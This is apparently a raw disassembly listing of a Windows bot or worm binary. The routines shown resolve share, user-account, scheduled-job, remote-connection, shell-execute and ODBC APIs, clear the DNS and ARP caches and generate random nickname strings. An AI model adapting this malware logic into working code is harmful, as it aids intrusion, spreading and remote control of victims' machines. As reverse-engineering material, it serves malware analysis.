		mov	dword_4C9748, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4C96D4, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4C97C8, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4C977C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4C97D0, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4C979C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4C9710, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4C9708, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4C9718, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9748, ebx
		mov	ecx, dword_4C979C
		mov	dword_4C982C, eax
		jz	short loc_40955E
		cmp	dword_4C96D4, ebx
		jz	short loc_40955E
		cmp	dword_4C97C8, ebx
		jz	short loc_40955E
		cmp	dword_4C977C, ebx
		jz	short loc_40955E
		cmp	dword_4C97D0, ebx
		jz	short loc_40955E
		cmp	ecx, ebx
		jz	short loc_40955E
		cmp	dword_4C9710, ebx
		jz	short loc_40955E
		cmp	dword_4C9708, ebx
		jz	short loc_40955E
		cmp	dword_4C9718, ebx
		jz	short loc_40955E
		cmp	eax, ebx
		jnz	short loc_409568


loc_40955E:				; CODE XREF: sub_408CF8+824j
					; sub_408CF8+82Cj ...
		mov	dword_4C98E0, 1


loc_409568:				; CODE XREF: sub_408CF8+864j
		cmp	ecx, ebx
		jz	short loc_40959D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4C97B0, eax
		jnz	short loc_40959D
		jmp	short loc_409597
; ---------------------------------------------------------------------------


loc_409582:				; CODE XREF: sub_408CF8+790j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98E4, eax
		mov	dword_4C98E0, 1


loc_409597:				; CODE XREF: sub_408CF8+888j
		mov	dword_4C97B0, ebx


loc_40959D:				; CODE XREF: sub_408CF8+872j
					; sub_408CF8+886j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4095E7
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4C978C, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4C98B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4C978C, ebx
		mov	dword_4C9724, eax
		jz	short loc_4095F2
		cmp	dword_4C98B0, ebx
		jz	short loc_4095F2
		cmp	eax, ebx
		jnz	short loc_4095FC
		jmp	short loc_4095F2
; ---------------------------------------------------------------------------


loc_4095E7:				; CODE XREF: sub_408CF8+8B0j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98EC, eax


loc_4095F2:				; CODE XREF: sub_408CF8+8DFj
					; sub_408CF8+8E7j ...
		mov	dword_4C98E8, 1


loc_4095FC:				; CODE XREF: sub_408CF8+8EBj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409703
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4C9700, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4C96DC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4C9750, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4C9780, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4C9888, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4C9738, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4C96E4, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4C96D8, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4C9768, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4C9850, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4C980C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9700, ebx
		mov	dword_4C9740, eax
		jz	short loc_40970E
		cmp	dword_4C96DC, ebx
		jz	short loc_40970E
		cmp	dword_4C9750, ebx
		jz	short loc_40970E
		cmp	dword_4C9780, ebx
		jz	short loc_40970E
		cmp	dword_4C9888, ebx
		jz	short loc_40970E
		cmp	dword_4C9738, ebx
		jz	short loc_40970E
		cmp	dword_4C96E4, ebx
		jz	short loc_40970E
		cmp	dword_4C96D8, ebx
		jz	short loc_40970E
		cmp	dword_4C9768, ebx
		jz	short loc_40970E
		cmp	dword_4C9850, ebx
		jz	short loc_40970E
		cmp	dword_4C980C, ebx
		jnz	short loc_409718
		jmp	short loc_40970E
; ---------------------------------------------------------------------------


loc_409703:				; CODE XREF: sub_408CF8+90Fj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98F4, eax


loc_40970E:				; CODE XREF: sub_408CF8+9B7j
					; sub_408CF8+9BFj ...
		mov	dword_4C98F0, 1


loc_409718:				; CODE XREF: sub_408CF8+A07j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40974D
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4C9728, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9728, ebx
		mov	dword_4C97F4, eax
		jz	short loc_409758
		cmp	eax, ebx
		jnz	short loc_409762
		jmp	short loc_409758
; ---------------------------------------------------------------------------


loc_40974D:				; CODE XREF: sub_408CF8+A2Bj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98FC, eax


loc_409758:				; CODE XREF: sub_408CF8+A4Dj
					; sub_408CF8+A53j
		mov	dword_4C98F8, 1


loc_409762:				; CODE XREF: sub_408CF8+A51j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409797
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4C9874, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9874, ebx
		mov	dword_4C9870, eax
		jz	short loc_4097A2
		cmp	eax, ebx
		jnz	short loc_4097AC
		jmp	short loc_4097A2
; ---------------------------------------------------------------------------


loc_409797:				; CODE XREF: sub_408CF8+A75j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9904, eax


loc_4097A2:				; CODE XREF: sub_408CF8+A97j
					; sub_408CF8+A9Dj
		mov	dword_4C9900, 1


loc_4097AC:				; CODE XREF: sub_408CF8+A9Bj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40980B
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4C98A0, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4C9898, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4C9860, eax
		call	esi	; GetProcAddress
		cmp	dword_4C98A0, ebx
		mov	dword_4C9744, eax
		jz	short loc_409816
		cmp	dword_4C9898, ebx
		jz	short loc_409816
		cmp	dword_4C9860, ebx
		jz	short loc_409816
		cmp	eax, ebx
		jnz	short loc_409820
		jmp	short loc_409816
; ---------------------------------------------------------------------------


loc_40980B:				; CODE XREF: sub_408CF8+ABFj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C990C, eax


loc_409816:				; CODE XREF: sub_408CF8+AFBj
					; sub_408CF8+B03j ...
		mov	dword_4C9908, 1


loc_409820:				; CODE XREF: sub_408CF8+B0Fj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409855
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4C9774, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9774, ebx
		mov	dword_4C986C, eax
		jz	short loc_409860
		cmp	eax, ebx
		jnz	short loc_40986A
		jmp	short loc_409860
; ---------------------------------------------------------------------------


loc_409855:				; CODE XREF: sub_408CF8+B33j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9914, eax


loc_409860:				; CODE XREF: sub_408CF8+B55j
					; sub_408CF8+B5Bj
		mov	dword_4C9910, 1


loc_40986A:				; CODE XREF: sub_408CF8+B59j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4098F3
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4C9834, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4C9880, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4C97C4, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4C9784, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4C9818, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9834, ebx
		mov	dword_4C9790, eax
		jz	short loc_4098FE
		cmp	dword_4C9880, ebx
		jz	short loc_4098FE
		cmp	dword_4C97C4, ebx
		jz	short loc_4098FE
		cmp	dword_4C9784, ebx
		jz	short loc_4098FE
		cmp	dword_4C9818, ebx
		jz	short loc_4098FE
		cmp	eax, ebx
		jnz	short loc_409908
		jmp	short loc_4098FE
; ---------------------------------------------------------------------------


loc_4098F3:				; CODE XREF: sub_408CF8+B7Dj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C991C, eax


loc_4098FE:				; CODE XREF: sub_408CF8+BD3j
					; sub_408CF8+BDBj ...
		mov	dword_4C9918, 1


loc_409908:				; CODE XREF: sub_408CF8+BF7j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409910	proc near		; CODE XREF: sub_401AC7+2086p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4C98B8, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_409958
		push	dword_4C98BC
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409958:				; CODE XREF: sub_409910+1Aj
		cmp	dword_4C98C0, esi
		jz	short loc_40998C
		push	dword_4C98C4
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_40998C:				; CODE XREF: sub_409910+4Ej
		cmp	dword_4C98C8, esi
		jz	short loc_4099C0
		push	dword_4C98CC
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_4099C0:				; CODE XREF: sub_409910+82j
		cmp	dword_4C98D0, esi
		jz	short loc_4099F4
		push	dword_4C98D4
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_4099F4:				; CODE XREF: sub_409910+B6j
		cmp	dword_4C98D8, esi
		jz	short loc_409A28
		push	dword_4C98DC
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409A28:				; CODE XREF: sub_409910+EAj
		cmp	dword_4C98E0, esi
		jz	short loc_409A5C
		push	dword_4C98E4
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409A5C:				; CODE XREF: sub_409910+11Ej
		cmp	dword_4C98E8, esi
		jz	short loc_409A90
		push	dword_4C98EC
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409A90:				; CODE XREF: sub_409910+152j
		cmp	dword_4C98F0, esi
		jz	short loc_409AC4
		push	dword_4C98F4
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409AC4:				; CODE XREF: sub_409910+186j
		cmp	dword_4C98F8, esi
		jz	short loc_409AF8
		push	dword_4C98FC
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409AF8:				; CODE XREF: sub_409910+1BAj
		cmp	dword_4C9900, esi
		jz	short loc_409B2C
		push	dword_4C9904
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409B2C:				; CODE XREF: sub_409910+1EEj
		cmp	dword_4C9908, esi
		jz	short loc_409B60
		push	dword_4C990C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409B60:				; CODE XREF: sub_409910+222j
		cmp	dword_4C9910, esi
		jz	short loc_409B94
		push	dword_4C9914
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409B94:				; CODE XREF: sub_409910+256j
		cmp	dword_4C9918, esi
		jz	short loc_409BC8
		push	dword_4C991C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409BC8:				; CODE XREF: sub_409910+28Aj
		lea	eax, [ebp+var_200]
		push	offset unk_42F7C8
		push	eax
		call	sub_417D96
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409BF5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_409BF5:				; CODE XREF: sub_409910+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409910	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C07	proc near		; CODE XREF: sub_4017E7+4Fp
					; sub_401AC7+53CAp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409C2F
		push	[esp+arg_0]
		call	dword_4C987C	; gethostbyname
		test	eax, eax
		jnz	short loc_409C28
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409C28:				; CODE XREF: sub_409C07+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409C2F:				; CODE XREF: sub_409C07+Dj
		retn
sub_409C07	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_4017E7+D6p
		mov	ecx, dword_4C9728
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409C3E
		call	ecx	; DnsFlushResolverCache

locret_409C3E:				; CODE XREF: sub_409C30+Aj
		retn
sub_409C30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C3F	proc near		; CODE XREF: sub_401AC7:loc_403A93p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4C9874	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_409D05
		sub	ecx, 32h
		jz	loc_409CFE
		sub	ecx, 48h
		jz	short loc_409C9F
		sub	ecx, 6Eh
		jz	short loc_409C98


loc_409C81:				; CODE XREF: sub_409C3F+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42F9C0
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_409CDF
; ---------------------------------------------------------------------------


loc_409C98:				; CODE XREF: sub_409C3F+40j
		push	offset unk_42F99C
		jmp	short loc_409CD1
; ---------------------------------------------------------------------------


loc_409C9F:				; CODE XREF: sub_409C3F+3Bj
		push	[ebp+var_8]
		call	sub_417A2B
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417AA0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_409CCC
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4C9874	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_409D05
		jmp	short loc_409C81
; ---------------------------------------------------------------------------


loc_409CCC:				; CODE XREF: sub_409C3F+79j
		push	offset unk_42F96C


loc_409CD1:				; CODE XREF: sub_409C3F+5Ej
					; sub_409C3F+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_409CDF:				; CODE XREF: sub_409C3F+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_413B5E
		pop	ecx


loc_409CEF:				; CODE XREF: sub_409C3F+C8j
					; sub_409C3F+DCj
		push	esi
		call	sub_4177C1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409CFE:				; CODE XREF: sub_409C3F+32j
		push	offset unk_42F93C
		jmp	short loc_409CD1
; ---------------------------------------------------------------------------


loc_409D05:				; CODE XREF: sub_409C3F+29j
					; sub_409C3F+89j
		cmp	[esi], edi
		jbe	short loc_409CEF
		lea	ebx, [esi+4]


loc_409D0C:				; CODE XREF: sub_409C3F+DAj
		push	ebx
		call	dword_4C9870	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_409D0C
		jmp	short loc_409CEF
sub_409C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D1D	proc near		; CODE XREF: sub_401AC7+1D9Ap
					; sub_401AC7+1EE8p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C97A4	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4C9928
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_417D96
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409D1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D76	proc near		; CODE XREF: sub_4114BF+24Cp
					; sub_4114BF+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_409D9F
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_409D92:				; CODE XREF: sub_409D76+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_409D92
		pop	edi
		jmp	short loc_409DA3
; ---------------------------------------------------------------------------


loc_409D9F:				; CODE XREF: sub_409D76+Aj
		mov	edx, [esp+4+arg_0]


loc_409DA3:				; CODE XREF: sub_409D76+27j
		test	esi, esi
		pop	esi
		jz	short loc_409DAD
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_409DAD:				; CODE XREF: sub_409D76+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_409D76	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DC3	proc near		; CODE XREF: sub_40A19A+49p
					; DATA XREF: nsp0:off_42FA08o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		call	sub_417DF2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_42FA70[edx*4]
		push	offset dword_42E26C
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 14h
		cmp	dword_425098, esi
		jle	short loc_409E2A


loc_409E04:				; CODE XREF: sub_409DC3+65j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCCC
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425098
		jl	short loc_409E04


loc_409E2A:				; CODE XREF: sub_409DC3+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_409DC3	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	dword_425118
		push	offset dword_42E26C
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425098, esi
		jle	short loc_409E88


loc_409E62:				; CODE XREF: nsp0:00409E86j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCCC
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425098
		jl	short loc_409E62


loc_409E88:				; CODE XREF: nsp0:00409E60j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409E8D	proc near		; CODE XREF: sub_401AC7+5FDEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_425098
		test	esi, esi
		jle	short loc_409ED0


loc_409EBA:				; CODE XREF: sub_409E8D+41j
		call	sub_417DF2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_409EBA


loc_409ED0:				; CODE XREF: sub_409E8D+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409E8D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4336C8
		push	eax
		push	esi
		call	dword_4230C0	; GetComputerNameA
		movsx	eax, byte_4336C8
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_409F16:				; CODE XREF: nsp0:00409F21j
		cmp	eax, ecx
		jnz	short loc_409F1D
		mov	[ebp-4], edx


loc_409F1D:				; CODE XREF: nsp0:00409F18j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_409F16
		push	61h
		pop	ecx


loc_409F26:				; CODE XREF: nsp0:00409F31j
		cmp	eax, ecx
		jnz	short loc_409F2D
		mov	[ebp-4], edx


loc_409F2D:				; CODE XREF: nsp0:00409F28j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_409F26
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_425098, esi
		jle	short loc_409F72


loc_409F4C:				; CODE XREF: nsp0:00409F70j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCCC
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425098
		jl	short loc_409F4C


loc_409F72:				; CODE XREF: nsp0:00409F4Aj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4230C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4336CC
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 10h
